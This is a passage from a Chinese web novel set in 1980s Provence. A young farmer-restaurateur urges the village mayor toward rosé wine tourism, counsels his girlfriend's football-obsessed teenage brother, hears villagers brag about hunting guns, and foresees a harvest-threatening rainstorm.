罗南不好意思的摸了下鼻子: “我说过我朋友挺多的。” “这已经超过朋友多的范畴了吧?”歌迪亚指着自己说,“我朋友也很多啊,但也不是这样的。” 罗南用‘过来人’的口吻说: “女士,小乡村和大城市的朋友不一样,普罗旺斯的朋友都是真朋友,尤其是农夫们.但不要惊慌,你们已经有一个农夫朋友了,以后你们有什么麻烦我也会这样帮忙的。” 托马斯露出期待的表情: “那你可以帮提一提店铺业绩吗?” 罗南起身离开: “走了,还有很多活儿要干。” 歌迪亚的爆炸头剧烈的上下左右晃动起来: “哦,我的朋友.怎么这么快就走了呢?” “我们也回去吧。”托马斯耸肩,离开了阴凉的区域。 他们刚走两步,看到一个穿着西装的身影缓步走入罗南的餐厅。 歌迪亚揉了揉眼睛: “穿西装的朋友?不是农夫?” 托马斯把眼镜紧贴到眼睛上: “那似乎是.布兰科?布兰科也来给罗南的餐厅帮忙了??” 第206章 在最简陋的地方聊最野的话题 布兰科通过赶走大学生事件在卢尔马兰积攒出了不小的威望。 村民们越来越喜欢这个来自上比利牛斯省的电影人了。 事实上村民不会真的排斥‘外乡人’。 罗南和布兰科都不是土生土长的卢尔马兰人,只要对村民们好,大家就视他为家人。 见布兰科出现在餐厅,皮埃尔捂着口鼻对布兰科挥手: “快出去,后院正在进行打磨,全都是粉尘。” 布兰科没有任何防护措施,还穿着西装来这种地方会弄脏的。 现场的施工噪音太大,布兰科走到皮埃尔身边,用西装袖子捂住鼻子: “这里进行的还顺利吗?” “顺利!”皮埃尔把耳朵凑过去,“马上就要干完了!” 布兰科拍了拍皮埃尔的胳膊: “我就是路过进来看看,你们忙吧,我走了。” 罗南的餐厅是商业街上最重要的一个商铺,布兰科非常上心,每周都要过来看一看。 知道这里一切顺利他就放心了,不耽误大家干活了。 突然,罗南的脑袋从二楼伸出来: “布兰科你有时间吗?上来我们聊聊?” 最近罗南都在二楼做编织的活儿,这里放着一把小板凳和一张小桌子。 村长来了,罗南把小板凳让出去,自己坐地上的麦草,布兰科则坐到了那把和他西装完全不相符的板凳上。 就在这种极富乡土气息的场景下,两个卢尔马兰的关键人物,展开了一场关乎于卢尔马兰未来几十年命运的重要对话。 “我听朋友说,卢尔马兰向沃克吕兹省旅游局申请的预算又被驳回了?”罗南抱着膝盖抬头问。 罗南第一句开场白就给了布兰科‘当头一棒’。 这么机密的事情罗南怎么会知道的啊? “什么朋友跟你说的?”布兰科没有责问的意思,只是好奇。 “一个做生意的朋友。”罗南并不想过多解释这个问题,“是不是真的?” 布兰科意外的眯了一下眼睛。 做生意的人能知道政府的消息? 那生意做的得多大啊.说不定是普罗旺斯地区最厉害的那几个龙头之一。 罗南居然认识这么厉害的朋友? 布兰科郑重的点头: “是真的,两年来的第四次了。” 罗南长长叹出一口气。 阿斯特丽德果真厉害.看她对略伦特和科伦坦的态就应该猜到,她在政府的人脉可能是高到不敢想的级别。 “拒绝的理由是什么呢?”罗南问。 布兰科苦涩的说: “理由是卢尔马兰还没有达到他们的‘扶持’标准,没有特色景点、没有可以讲出故事的历史古迹、没有火爆有特色的集市,甚至连拿得出手的餐厅都没有.他们希望卢尔马兰能先努力做出一些成绩,证明能给沃克吕兹省的旅游业带来些什么,再聊‘预算’的话题。” 罗南挑了一下眉毛。 布兰科的回答和阿斯特丽德给他的‘提点’几乎是一个意思——卢尔马兰没有让旅游局感兴趣的东西。 “你知道沃克吕兹省旅游局对什么感兴趣吗?”罗南继续问。 布兰科摇头: “如果知道,就不会两年内第四次被拒绝了!不过明年春天,我会再申请一次,那个时候商业街运行起来了,有了可以展示的东西,而且到那个时候政府会确定一条属于卢尔马兰的特色发展道路,就是上一次我们聊的那个话题,拿着新的东西也许上面的态度就不一样了现在的卢尔马兰确实太‘落后’了。” 确定卢尔马兰的‘特色’一直是政府重中之重的工作目标。 无论如何,明年春天必须找到一个特色推出去! 布兰科的激情演讲并没有得到观众的认可。 罗南冷静的说: “如果不知道他们对什么感兴趣,这就会变成一场赌注了布兰科。” 布兰科泄气的低下了头: “我去过旅游局很多次,几乎每个月都去.但是问不出来有用的信息啊,他们只会让你先做出来。” 失落的布兰科突然听到地上沾着一身麦草、标准农夫打扮的年轻人说了一句: “我似乎知道一个沃克吕兹省旅游局感兴趣的东西” 布兰科眼睛瞪的像葡萄珠那么大: “你知道?” 你在跟我开玩笑吗罗南?? 罗南小心翼翼的说: “我不确定,只是推测我会把我知道的所有信息说出来,你也一起判断一下是不是我理解的意思。” 布兰科把两只手放到膝盖上,认真的像是一个等待听老师授课的学生。 罗南悠悠开口: “大概半年前,我参加了一个聚会,那里面有一个沃克吕兹省旅游局的人,他希望我另一个朋友帮忙劝说沃克吕兹省的酿酒合作社提高制作粉红酒的比例,并且愿意拿出一笔钱来推动这件事落地。” 阿斯特丽德的建议非常明确,她建议罗南拉上卢尔马兰政府一起发展粉红酒,这就是她说的‘借势’和‘借力’。 但做粉红酒生意是罗南的‘梦想’,和卢尔马兰政府没有一毛钱关系,这段时间罗南一直在思考如何和布兰科说这件事。 卢尔马兰确实需要一个特色文化发展之路,而粉红酒也符合布兰科的需求,普罗旺斯还没有以粉红酒命名的城镇名号。 但粉红酒的口碑太差了,突兀的提出这个建议会被布兰科用几十个理由反驳回去。 这个时候罗南想到了他第一次参加沃克吕兹省粉红酒爱好者协会聚会时发生的事情。 那一天,掮客略伦特带了沃克吕兹省旅游局的昆西到场,希望说服会长伊内斯倡导吕贝隆地区的酿酒合作社更多的生产粉红酒。 而原因嘛 布兰科眉头紧锁: “旅游局为什么要花钱让酿酒合作社提高制作粉红酒的比例?” 罗南说出了那天雅克先生的推测: “我猜测是他们希望发展或者说保护手工酿制粉红酒的工艺,这件事只有用纯手工制酒的酿酒合作社可以做到,酒庄都是机械制酒.你应该知道这其中的差别吧?” 布兰科当然知道这其中的差别。 机械制造粉红酒大部分使用红、白葡萄酒勾兑。 “但这和旅游局有什么关系啊?你确定这是旅游局要做的事?”布兰科完全无法理解。 罗南真诚的说: “我那个朋友、就是告诉我卢尔马兰的申请被沃克吕兹省旅游局拒绝的朋友说,旅游局想要拿走一部分文化局的业务.当然我也不确定这是不是真的,你可以再去确认一下。” 罗南的那个‘朋友’背景雄厚,布兰科哪敢质疑啊。 但粉红酒 就不能换一个东西吗? “所以你判断手工酿制粉红酒的工艺是旅游局非常感兴趣的事?”布兰科表情复杂的问。 罗南看出了布兰科的‘为难’,耸肩道: “我并不了解政府的想法,只是把我知道的转述给你,但是布兰科你我应该都知道旅游局手里有大把的预算,即使不是‘非常’感兴趣,只是‘一点点’感兴趣对现在的卢尔马兰来说也已经很重要了。” 布兰科低头想了好一会,突然拍了一下腿: “我现在就去研究一下这件事。” 下楼前,他郑重的对罗南保证: “罗南,卢尔马兰不会辜负每一个热爱它的人。” 农夫们暂时闲了下来,按理说罗天海的‘盒饭供应’生意应该停了,没想到每天还是会有二三十个人向罗南家订饭。 卢尔马兰是很穷、落后,但也有富裕的人。 例如做去外村做生意的村民、来养老的外乡人、来普罗旺斯散心的有钱人等等。 主要是罗天海做的饭的确符合普罗旺斯人的口味而且价格公道。 有一天三口人坐下来算帐,发现即使不算两个集市,盒饭每周也有固定的5000法郎左右收入了,这比罗南在旅行季的卢尔马兰集市上卖锅包肉和粉红酒的收入还要高。 要知道这些每天订饭的同村村民都可以发展成餐厅的忠实用户,餐厅开业他们肯定会来捧场的。 集市上也有好消息频频传来,回头客越来越多,每次出摊都有人打听餐厅的开业时间。 “暂定10月初,确定下来我们会在这里摆牌子通知,不买路过也一定能看到。”罗天海把盒饭交给一个连续买了三周的顾客。 现在来集市上买东西的人几乎都是本村或者附近村落的居民。 他们每周会来集市上大采购一次,只要摆个牌子所有人都能通知到。 另一侧的罗南把炒锅颠的叮当作响,干劲十足: “终于可以放下一点心了吧爸爸?咱们不用指望游客,餐厅开业一定会有当地人来吃的。” 罗天海端了一摞盒饭送去给摊主们: “不能松懈,我再去喊一轮,看看有没有人又饿了。” 爹这么上进,儿子也不能懈怠啊。 罗南一边做锅包肉,一边卖力的大声吆喝: “先生、女士、小姐们,要尝一尝普罗旺斯的特色粉红酒吗?这种只能在普罗旺斯当地喝到的美酒搭配中国美食的味道是最佳的!10月份,吕贝隆的第一家中餐厅就要在卢尔马兰开业了!现在大家可以提前两个月尝尝它的味道,快来试试吧!” 第207章 恼人的青春期问题【1000月票加更】 自从罗天海开始做盒饭,每周六的梅纳村集市维埃里都会去帮忙。 这个勤劳的小伙子肯吃苦,头脑灵活,还很懂事,罗南一家三口都很喜欢他。 维埃里带着他16岁特有的朝气,每周都能给大家带来许多快乐。 但这周的周六,维埃里的情绪明显不高.朝气没有了。 “你怎么了?”集市结束,罗南找了一个和维埃里独处的机会问问他的情况。 维埃里一边收拾东西,一边蔫蔫的说: “没什么。” 罗南担心的说: “你看起来可不像是没有事的模样。” 维埃里挤出一个微笑: “可能是最近学习压力有点大吧。” 这并不是一个好借口,罗南昨天去找佐伊时还听到莉亚抱怨,说维埃里的老师们对学生太‘仁慈’了,搞的他们家墙上全都是足球印子,她每半个月都要擦一次墙。 路易工作忙很少在家,莉亚和佐伊都是女人,和青春期的男孩没有共同话题,罗南认为他这个未来的姐夫必须担起关爱维埃里心理健康的重任。 “晚上我陪你踢足球。”罗南主动提议。 维埃里的情绪终于有一点起伏了: “你今晚不去夜游了?” 罗南抢过维埃里手里的盆盆罐罐: “和你姐姐说,我今天要请个假。” 晚上7点,卢尔马兰村中心小体育场。 虽然进入了9月,但天黑的还是很晚。 以往维埃里一定会踢到天黑才离开,但今天7点一过他就找借口坐下了。 “回家吧,我陪你看电视。”罗南对维埃里招手。 周六法国一台会转播法甲联赛,那是维埃里最喜欢看的节目。 关爱青春期少年心理健康先从陪伴开始! 维埃里抱着膝盖,静静地盯着另一侧玩滚球的人群: “你先回去吧,我想在这呆会。” 罗南皱起眉头。 看来问题很严重啊,家都不想回了? 是遇到什么青春期的恼人问题了吗? 他坐到维埃里身边,像是聊晚上吃了什么一样,轻松的问: “在学校还开心吗?” 维埃里没有什么表情的说: “挺开心的,同学们知道你和佐伊谈恋爱了都很羡慕我。” 罗南默默点头。 看起来不像是遇到了‘校园霸凌’。 欺负维埃里的人要先掂量一下,他是否能承担的起农夫‘头子’罗南的怒火。 罗南用更加轻松的语气问: “学校里有喜欢你的女孩吗?” 路易和莉亚的基因非常棒,佐伊和维埃里都长的很标致。 维埃里就是还没长开,等过几年一定是个迷人的小伙子。 不过稚嫩的他也一定可以吸引不少同龄女孩。 所以是遇到青春期情感问题了? 维埃里无所谓的说: “应该有吧,但我现在不想谈恋爱,那太浪费我踢球和看球的时间了。” 罗南又点了点头。 这确实是维埃里能干出来的事,在足球和女朋友之间他一定会毫不犹豫的选择足球。 “维埃里,我希望你能敞开心扉跟我说说你的情况你这样我会很担心的。”罗南语气温和的说。 维埃里的表面突然悲伤下来,头也低了下去,像是一朵被摧残了的向日葵。 罗南的心也跟着沉了下去。 上帝,维埃里一定是遇到了巨大的麻烦或者打击! 不是学习、不是爱情,那还能是什么? 物质问题? 有钱的同学‘炫富’打击到了维埃里的自尊心? 生理问题? *器官发育迟缓,自卑了? 饮食问题? 学校里的饭太难吃?? 罗南像是老父亲一样,脑中蹦出无数种可能性。 随即他举起右手,立起三根手指,无比坚定的说: “无论你遇到什么麻烦,我一定会帮助你的。” 维埃里的语气委屈的不成样子,像是看到了救星一样: “爸爸妈妈和佐伊都不同意我去马赛看球,但我很想去。” 罗南‘化掌为拳’狠狠向维埃里的肩膀上砸过去: “你这家伙吓死我了!” 早该想到的.能把维埃里折磨成这样的只能是足球了。 罗南当晚和维埃里一起回家,想要了解一下他家里的情况。 当事人一号路易是这样回答的: “我从来没有同意过让维埃里去马赛看足球,他喜欢哪支球队我都会支持,唯独马赛奥林匹克不行,那是一群野蛮的屠夫,他们的每一场比赛都像是打仗一样!” 路易把报纸放下,对维埃里说: “你可以换一支球队喜欢吗?巴黎圣日尔曼、摩纳哥、尼斯.哪怕你喜皇家马德里和尤文图斯我也会支持你的。” 维埃里委屈的说: “可我只喜欢马赛奥林匹克。” 路易拿起报纸,不容置疑的说: “不可以。” 二号当事人莉亚听到‘马赛奥林匹克’马上做出夸张的恐怖表情: “不不不,维埃里不可以去,每次马赛奥林匹克输了球,球迷都会在街上寻衅滋事,还会和客场的球迷斗殴,你没有听过那些新闻吗?” 莉亚伸出食指,用没有商量的语气说: “赢了球,球迷们会攻占全马赛所有的酒吧,你还没到可以去酒吧的年纪,所以输球、赢球都很危险,你不可以去马赛看球!” 维埃里委屈的说: “也有可能是平局啊妈妈。” 莉亚头也不回的进了厨房: “分不出胜负有什么好看的呢维埃里,在家里看不好吗?” 三号当事人佐伊在忙着工作,她冰冷的留下一句话就关门了: “马赛奥林匹克不是足球队,而是宗教,连我这个不看足球的人都知道。” “砰——” 罗南揉了揉被门风吹到的鼻子,挤出一个微笑,对维埃里说: “我会想办法的。” 维埃里语气低落的问罗南: “你会支持我喜欢马赛吗?” 罗南上一世看的足球不多,对法甲也没有投入过太多的关注,但他清楚记得马赛奥林匹克是唯一一支拿过欧洲冠军杯的法国球队。 1993年,他们在慕尼黑奥林匹克体育场1-0击败了AC米兰。 罗南不了解马赛奥林匹克的具体情况,但喜欢一支强队总比喜欢一支降级的糟心球队强。 而且维埃里已经长大了,他的选择应该被尊重。 “当然,我说过,我会一直支持你的。”罗南温和的说,“这样吧,你先带我看一场马赛奥林匹克的足球比赛,我了解一下这支球队也好帮你说话,现在你爸爸妈妈和姐姐说出来的话我都无法反驳。” 维埃里半信半疑的问: “真的吗?佐说的话.你也敢反驳?我觉得你格外怕她啊。” 罗南严肃的说: “那不是怕,是尊重,但在这件事上,我会坚定不移的支持你。” 青春期的少男需要被关注,维埃里一定是太少被关注了。 维埃里的脸上终于爬上了笑容: “好,明天晚上就有马赛的比赛,你来我家一起看?” “可以。”罗南痛快的答应下来。 为了表达对维埃里的重视,罗南第二天晚上来路易家吃了晚饭,并在球赛开始前和维埃里一起遛了狗。 青春期的少男应该多多的陪伴,否则他们会出心理问题的。 做完这一切,罗南陪维埃里坐到了沙发上。 “看球?”路易问。 罗南点头: “是的。” 路易问维埃里: “今晚是哪里踢哪里?” 维埃里激动的说: “马赛踢摩纳哥。” 路易把报纸放下: “你们看吧,我回卧室休息了。” 路易走了,但从不看球的佐伊却意外的坐到了沙发上。 “你要看球吗?”罗南兴奋的问。 这就是爱情的力量吗? 因为我看球.你也看球了? 佐伊冷笑一声,用手肘撑着脑袋: “不看球,看你,我看你怎么支持维埃里的。” 罗南砸了一下嘴: “你不要用有色眼睛看待竞技体育,有的时候足球是粗爆一些,但是你说它是‘宗教’太夸张了,那只是一些热爱足球的球迷。” “快看快看,开始了!”维埃里兴奋的说。 比赛开始前,法国一台按照惯例播出了一些球迷入场的画面。 客队摩纳哥的画风一切正常,但导播切到主队马赛的球迷入场时吓得罗南在沙发上一抖。 维埃里没有调整电视音量,但老旧的电视里突然出现了巨大的噪音,似乎有一万只蛤蟆正在池塘里开party——听不懂他们说什么,总之很吵闹就是了。 耳朵被攻击后,眼睛也马上遭了殃。 电视里红的、蓝的、白的烟雾交织在一起.罗南以为法国一台的导播把画面切到亚洲的前线战场上了。 “这些人在干什么?还没开始踢就点燃冷烟火了?”罗南问维埃里。 维埃里解释道: “最近球迷在抗议,他们希望主席、经理和足球总监离开俱乐部。” 罗南皱着眉头说: “这种入场太危险了维埃里,他们可能会误伤到你。” 维埃里解释: “不是每场都这样的。” “对,这么和谐的情况少见。”佐伊翘起二郎腿,“正常还没进场就和客场球迷打起来了。” “佐伊,你如果不想看就回去吧,好吗?”维埃里不满的抱怨。 “我说了我是看罗南,我看我男朋友跟你有关系吗,维埃里?”佐伊气势汹汹的说。 姐弟俩一直‘吵’到两只球队准备入场。 之所以停下来,是由于现场噪音大到他们两个听不清对方在骂什么。 罗南指着屏幕问: “他们在干什么?为什发出这么大的声音。” 这只是出场仪式啊,这么兴奋? 和维埃里‘吵’到火气翻涌的佐伊尖税的说: “在欢迎大祭祀出场呢,一会大祭祀会率领他的10个侍祭和邪恶势力打上一仗,这些虔诚的信徒在送别他们。” 话音刚落,球员们拉着球童入场。 球迷们更加疯狂了,主队看台上点燃了大量红色的烟火。 镜头切了几个球迷的近景,罗南又以为导播串台到了什么丧尸电影。 他们一个个长着血盆大口,返祖似的拍打和撕扯着自己的球衣,像是下一秒就要把电视那一侧的人吃了。 罗南以为这种吵闹在开球后就会结束,没想到持续了整整一个上半场。 只不过根据场上的情况不同,会有不同的‘音律’出现。 客场球队持球时,他们会大声的辱骂,解说员喊破喉咙也盖不住那些脏到极致的污言秽语。 主队持球时,他们会发出像是邪恶巫术一样的经文吟唱,这吟唱的声音还会随着足球距离球门的距离而上下调整。 若是有一脚射门,他们会把聚集了几分钟的神秘力量一股脑的发射出去,似乎要喊到对方守门员口吐白沫为止。 “维埃里,你喜欢马赛什么?”罗南的表情非常不好。 去马赛看球不仅仅是路途和球票能否购买到的问题这看起来会危及生命。 维埃里已经沉浸到了球赛当中: “喜欢这种激情啊,马赛是法甲最有激情的球队。” “哦,该死的!”维埃里抱着头喊,“对方拿到了一个前场位置很好的定位球。” 接下来是佐伊的惨叫: “上帝,他们又打起来了。” 几个球员拉扯到一起,紧接着是替补球员、教练员双方似乎想要进行一场自由搏击。 与扔到球场里代表主队球迷不满冷烟花一同出现的,还有代表不满的罗南的声音: “维埃里,你不能去马赛,这太危险了,他们赛后一定会打起来的。” 维埃里明显愣了一下: “你说你会支持我的.” 佐伊开心的笑了两声,对罗南说: “我就说马赛奥林匹尔不是足球队,而是宗教组织吧?” 维埃里气愤的对佐伊说: “罗南只是怕你,那不是他真实的想法!” 罗南关掉电视,像操心的老父亲一样: “那不是宗教,是‘邪教’!维埃里,我们需要好好聊一聊了,我认为你遇到了非常严重的青春期问题,你怎么会喜欢上这么暴力的东西啊?” 路易和莉亚的卧室。 两个人从门缝离开。 莉亚满意的说: “他们俩态度挺统一的,以后教育孩子应该不会出现什么分歧。” 路易舒服的躺到床上,打开报纸: “教育孩子要多多练习,维埃里的青春期还能维持一段时间,让他们俩拿维埃里练手吧。” 第208章 只存在于嘴里的厉害武器 维埃里去马赛看球的美梦彻底破灭。 他的所有直系亲属、包括未来亲属的态度高度统一——反对他喜欢马赛奥林匹克这支足球队。 这其中态度最坚决的就是罗南。 这位未来的姐夫兼临时工老板扬言,如果维埃里再痴迷这支在法甲甚至欧洲足坛臭名昭著的球队,会从安全角度考虑是否应该换一个去集市帮忙的人。 不过在严厉教育的同时,罗南也给维埃里送去了足够多的关心。 青春期少年的心理健康问题必须重视起来,应该给维埃里更多的陪伴和关注,他不该因为谈恋爱而剥夺本属于维埃里的‘亲子活动’时间。 那之后,甜美的夜游偶尔会变成三人行。 罗南拉着佐伊的手,同时还要时刻注意从不知哪里踢来的足球。 “维埃里,你下次传球前能不能提前说一声?”佐伊不满的对弟弟抗议。 维埃里耸肩表达自己的无辜: “这次真不是故意的,我颠到第95下时球落地了。” “那你上次是故意的?”佐伊严厉的责问。 维埃里继续颠球,小声嘟囔: “谁让你说法国足球没有未来的” 在2个月前结束的墨西哥世界杯上,由普拉蒂尼率领的法国队连续第二次打入4强。 但再次跌倒在半决赛后,这位法国一代传奇足球运动员官宣退出国家队,近一个月又有好几位主力球员接连宣布了退役的消息。 大量媒体、杂志和电视台用‘法国黄金一代落幕’、‘青黄不接’、‘法国足球后继无人’等词汇来形容现在的法国男足,他们预估下两届世界杯,法国队是否能进入正赛都会成为问题。 佐伊无语的说: “我只是在跟罗南说我在新闻上看到的消息,我们谈恋爱讨论什么话题还要考虑你的心情吗?” 维埃里离他们远远的,自己玩足球去了。 “现在的孩子越来越难管教了。”佐伊小声抱怨。 只是说了两句他不爱听的.你看看他的态度? 你以为我想带着你吗维埃里?! 罗南搂着佐伊肩膀的右手轻拍了两下: “别生气,我来解决。” 佐伊做了一个‘够了’的表情: “你已经做很多了罗南你每天都在陪他。” 这是青春期的叛逆,你没法改变什么的! 罗南笑着亲了一下佐伊的头,耐心的说: “我去和他聊聊。” 罗南来到维埃里身边: “传给我!” 维埃里一脚漂亮的挑球,把球传到罗南的脚下: “其实我已经接受事实了,你不用担心我。” “什么事实?”罗南把球传回去。 “不该喜欢足球的事实。”维埃里把足球抱起来,“喜欢马赛奥林匹克不对,喜欢足球也不对.这就是事实。” 罗南关心的问: “谁这样说你了?” 维埃里丧气的说: “法国足球要走下坡路了,世界杯四强可能是他们最好的成绩我有很多喜欢足球的同学最近开始看击剑、网球和自行车了。” 法国拥有深厚的体育文化,从吕贝隆的每一个小山村里都有一个正规的体育场就可以看出国民对体育的态度。 尤其法国人不会集中喜欢某一个项目,呈现百花齐放的状态,即使不算正式体育项目的滚球也有极大的受众。 而其中击剑、网球、自行车、马术、赛车和游泳等是相对最受关注的法国民众对这几个项目投入的热情都不比足球少。 罗南温和的劝解: “这是你的爱好,没必要因为别人的态度改变自己。” 维埃里用鞋尖不停戳地: “可是喜欢足球的人少了,就没有人和我聊足球了只有我一个人喜欢也挺没意思的。” “谁说你是一个人喜欢?”罗南指着自己说,“我也喜欢足球啊。” 维埃里没有那么信任罗南了: “你几天前也是这样说的.” 罗南拿过维埃里手里的足球: “这次是真的,我发誓!” “可是足球已经在走下坡路了.”维埃里也和媒体持一样的悲观态度。 没有普拉蒂尼,法国足球还有未来吗? 只有在他的带领下法国才冲入过世界杯4强啊。 罗南一边笨拙的巅球,一边说: “下一届不行就下两届,两届不行就三届.法国足球一定能踢出一个新的未来,到那个时候你的那些‘半途而废’的同学们就会知道你多有先见之名了,你喜欢的是一项在法国最受欢迎的运动。” “真的?”维埃里半信半疑的问。 罗南把足球抱到怀里: “真的,未来我有了儿子说不定会培养他去踢足球呢,我希望到时候他的舅舅能支持我。” “真的吗?”特属于16岁的朝气再次出现在维埃里的脸上,迷失了许久的向日葵终于找到了他的太阳! “真的!”罗南无比坚定的说,“所以在那之前,我会抽出大量时间和你一起踢球,未来好给儿子做启蒙。” “罗南你太棒了!”维埃里抢过足球,用力踢向天空。 足球在天空上画出了一个美丽的弧度,像是流星一样。 捡球的路上,维埃里路过佐伊,笑着说: “佐伊,我承认你总是说很多让我生气的话,但你和罗南在一起是这辈子最让我开心的事情!我原谅你了!!” 罗南走到佐伊身边: “是不是暂时解决了?” 佐伊笑着摇头: “你这不是在编故事骗人吗?” 罗南拉起佐伊的手,笑着说: “故事来源于生活,你怎么知道故事有朝一日不会成真呢?” 佐伊发出银铃般的笑声: “不管是不是故事,你看起来挺会带孩子的.这样我就放心了。” 罗南坏笑着问: “怎么?不爱做饭,也不爱带孩子?全交给我带你能放心?” 佐伊用力拉紧罗南的手,像是要用力拉紧未来: “这样我就可以放心的多生几个了。” 某一天中午,罗南开车出去送饭,只不过在卢尔马兰村中心停了10分钟,雨刮器下就被塞下了一张蓝色的传单。 这种在吕贝隆山区最普遍也是最直接的广告告诉罗南——阿普特的一家枪具店将会以‘骇人听闻’的季前价格兜售一整个军火库。 仅枪械一览就写下了80余种让罗南生涩、陌生的枪支名称,配置装备一览更是密密麻麻的不成样子。 在普罗旺斯,大家看树影位置便知现在是几点。 看厨房里的应季水果蔬菜能知道现在是几月。 看到这张传单,罗南也知道——打猎季即将开始了。 法国各地狩猎开始日期并不相同。 即使吕贝隆这一小片区域,各个山谷的开始日期也不一样。 今年距离卢尔马兰最近的打猎地开始狩猎的日子是9月21号。 这是罗南从在餐厅里帮忙的农夫们嘴里听到的。 自从罗南收到那张军火库传单后,短短几天里有11位村民邀请罗南去参观他们各自的军火库。 特奥的4把猎枪并不是什么值得炫耀的东西,有村民声称家里有7支不同口径的来福,还有村民说自己家珍藏了9支上了油、抛过光的长枪。 罗南听得一个脑袋两个大,没有见识的巴黎人对即将到来的打猎季充满了好奇。 为什么需要7支来福枪和9支长枪? 他们如何判断每次出去狩猎带哪个呢? 还是说像打高尔夫一样全部装到袋子里,看见野猪拿口径最粗的,看到画眉和兔子让‘球童’拿出最细小的那一个? 当然了,这种武器大户在卢尔马兰实属少见。 大部分人只有一到两把武器。 但这一点不影响他们加入讨论并拥有不错的谈资。 “我有能和子弹袋相连的皮质来福枪套,伙计这可是稀罕货,我在吕贝隆从未见过和我同款的东西。” “我有一个带有27个口袋的战术马甲,每一个上面都有炫酷的拉链,你知道穿上它有多拉风吗?” “我有外籍雇佣兵空降刚果金时穿的同款野战靴,听说它的上一任主人死在了南非!” “我有手柄上带有罗盘的巨大猎刀,50多斤的钢刀砍下去,就算是野猪的脑袋也遭不住!” “拿着50多斤的钢刀去打猎,万一碰到野猪还跑得动吗?” 吃完莉亚做的午饭,罗南去佐伊的工作室讲上午他见识到的‘新武器’。 类似闻所未闻的武器罗南每天能听到好几把,无一例外让人匪夷所思。 佐伊的手上有粘土,用胳膊上的衣服蹭了一下额头掉下来的碎发: “我以为你已经看清普罗旺斯人的本质,看来还需要继续了解呢。” 罗南低头帮她整理头发: “什么本质?” 佐伊的手像是会变魔术一样,几秒钟就把一团粘土变成了盘子模样,她一边塑形一边笑着说: “大家表现出来的对打猎的狂热,不过是普罗旺斯人一贯的‘面子功夫’罢了,这里的人无论干什么事都会极力让自己看起来像个专家,很可能那个人的刀根本不是钢做的,也没有五十斤,这些‘武器’只需要在嘴里厉害就行了。” “啊?我以为他们真的每一个都是专家。”罗南天真的说。 佐伊叹了一口气,指着仓库的位置说: “爸爸曾经喜欢过一阵自行车,他做的第一件事不是去研究路线而是想如何让自己看起来像是个职业高手,买了几千法郎的装备,把自己打扮的像是要去参加奥运会一样,现在那些装备就在仓库里.他们啊,最忌讳的就是被人看出自己是新手。” 想到什么,佐伊突然抬头对罗南紧张的说: “所以你去打猎的时候一定要小心,离那些说自己很厉害的人远一点,说得最漂亮的人说不定是技术最差的那很危险。” 罗南如临大敌的眉头紧锁。 最近有太多人讲过自己漂亮的狩猎故事,要邀请罗南一起去狩猎大型动物。 他还傻乎乎的觉得自己要被高手‘带飞’了,原来都是坑啊。 “我一定会小心的。”罗南认真的说。 狩猎开始的日子临近,村民们的心已经飞到了山谷里,恨不得马上到9月21号那个可以让他们大展身手的日子。 “罗南,你今晚去我家选枪吧,21号跟着我走,我带你去打鹿。”特奥把双臂展开,比划道,“去年我打了一只那么大的鹿,一枪毙命!” “鹿有什么意思?”法比安叼着烟对罗南说,“还是跟我去找野猪吧,刚开始的这个月是最好找野猪的日子,天气一凉它们就跑远了,你问问亨利,谁是村里打野猪最厉害的人。” 亨利不满意的嘟囔: “野猪处理起来太麻烦,还要送去检测,罗南先生跟我去打鸟吧!我保证让你未来一周每顿都能吃上野味!” 这些人的炫耀在罗南看来都是危险的陷阱。 他猛猛摇头,指着同为新人的康奈尔说: “我们就在山谷外围转转,能打到什么是什么,不去深的地方。” 康奈尔也是个胆子小的人: “等我和罗南熟悉一两次,再去和你们集体活动。” “那你也先去我家看看枪啊。”特奥最近跟罗南提好多次了。 他急于给罗南展示他的军火库。 罗南笑着说: “我要等一阵子才能去打猎呢,餐厅里还有好多事情要忙,你们先去。” 康奈尔点头: “我陪罗南。” 其他农夫可等不了那么久,特奥兴致勃勃的说: “那21号咱们先去,别管他们两个拖后腿的了,我第一天必须打到鹿。” 法比安气势丝毫不弱的说: “我第一天的目标是找到野猪的踪迹。” 亨利起身回家开始做准备: “我要打好多好多的鸟给约瑟芬和丽莎吃!” 罗南笑着听他们聊天,人似乎也飞到了山谷里。 ‘山谷’里的风将几片麦草碎吹到脸上,他把衣服撩起来擦了一把脸。 待拿下衣服,发现头顶不知何时飘来一朵形状怪异的云。 罗南大惊失色的放下手里的东西,用鼻子猛吸了好几口。 “你别那么用力的吸啊,这里都是碎屑。”特奥操心的对罗南说,“那你忙吧,我也回家准备打猎的事了。” 罗南猛的站起来: “皮埃尔在哪儿?” 21号谁都不能去打猎了. 罗南看到了雨的迹象,而且是一场大雨! 第209章 和时间赛跑的战役 罗南找到皮埃尔时,这个卢尔马兰的最佳农夫正在擦他的大号猎枪。 显然他的心思也沉浸到吕贝隆的山谷里了。 “皮埃尔,要下雨了,你必须组织农夫们尽快开始收葡萄!” 罗南跑的满头大汗,根据前两次下雨的经验判断,这次的大雨会在3-5天后来临,卢尔马兰附近一共有3000多亩葡萄园,这简直是在和时间赛跑。 皮埃尔放下他的枪沉思了几秒,刚开口便没忍住哈哈大笑了起来: “好吧罗南,你确实有骗到我几秒,不过伙计雨季已经结束,吕贝隆从来没在这个时候下过雨。” 恶作剧是农夫之间永远不会玩腻的把戏,皮埃尔是卢尔马兰的恶作剧大王,大家都绞尽脑汁想把他骗回来,如果能骗到皮埃尔一次,老酒馆里有大把人会请你喝酒的。 罗南郑重到不能再郑重的说: “不不不,不是开玩笑,真的要下雨了,你没发现风向变了吗?现在的风是从地中海方向吹来的。” 风向、云和气味全是罗南判断天气的因素,他太着急以至于脱口而出了。 皮埃尔双手抱胸,煞是认真的点头: “不错不错,还做了功课来的,既然你聊到风,那我就给你讲讲普罗旺斯的三十多种风吧,它们每一种都对应了一种极端天气,以后可以用这个知识骗更多的人。” 罗南抓狂的抱了下脑袋: “皮埃尔,我是认真的!要下雨了!!” 皮埃尔用力鼓掌: “罗南,你此刻这种想要把‘混蛋的我亲手掐死’的状态演绎的太棒了,找个机会我要把这段原封不动的演给别人。” “我去找布兰科。”罗南掉头就走。 时间紧迫,他没时间和皮埃尔在这里玩‘狼来了’的游戏。 我去告诉村长你总能相信了吧? 皮埃尔小跑着追上去: “你不会是认真的吧?” 罗南加快脚步: “我真的没有心思和你开玩笑皮埃尔,今年大家都希望把葡萄卖个好价格,这场雨会把大家的梦想打碎的。” 皮埃尔堵在罗南的车前: “可雨季已经结束了啊,怎么还会有雨呢?” 罗南语速飞快的说: 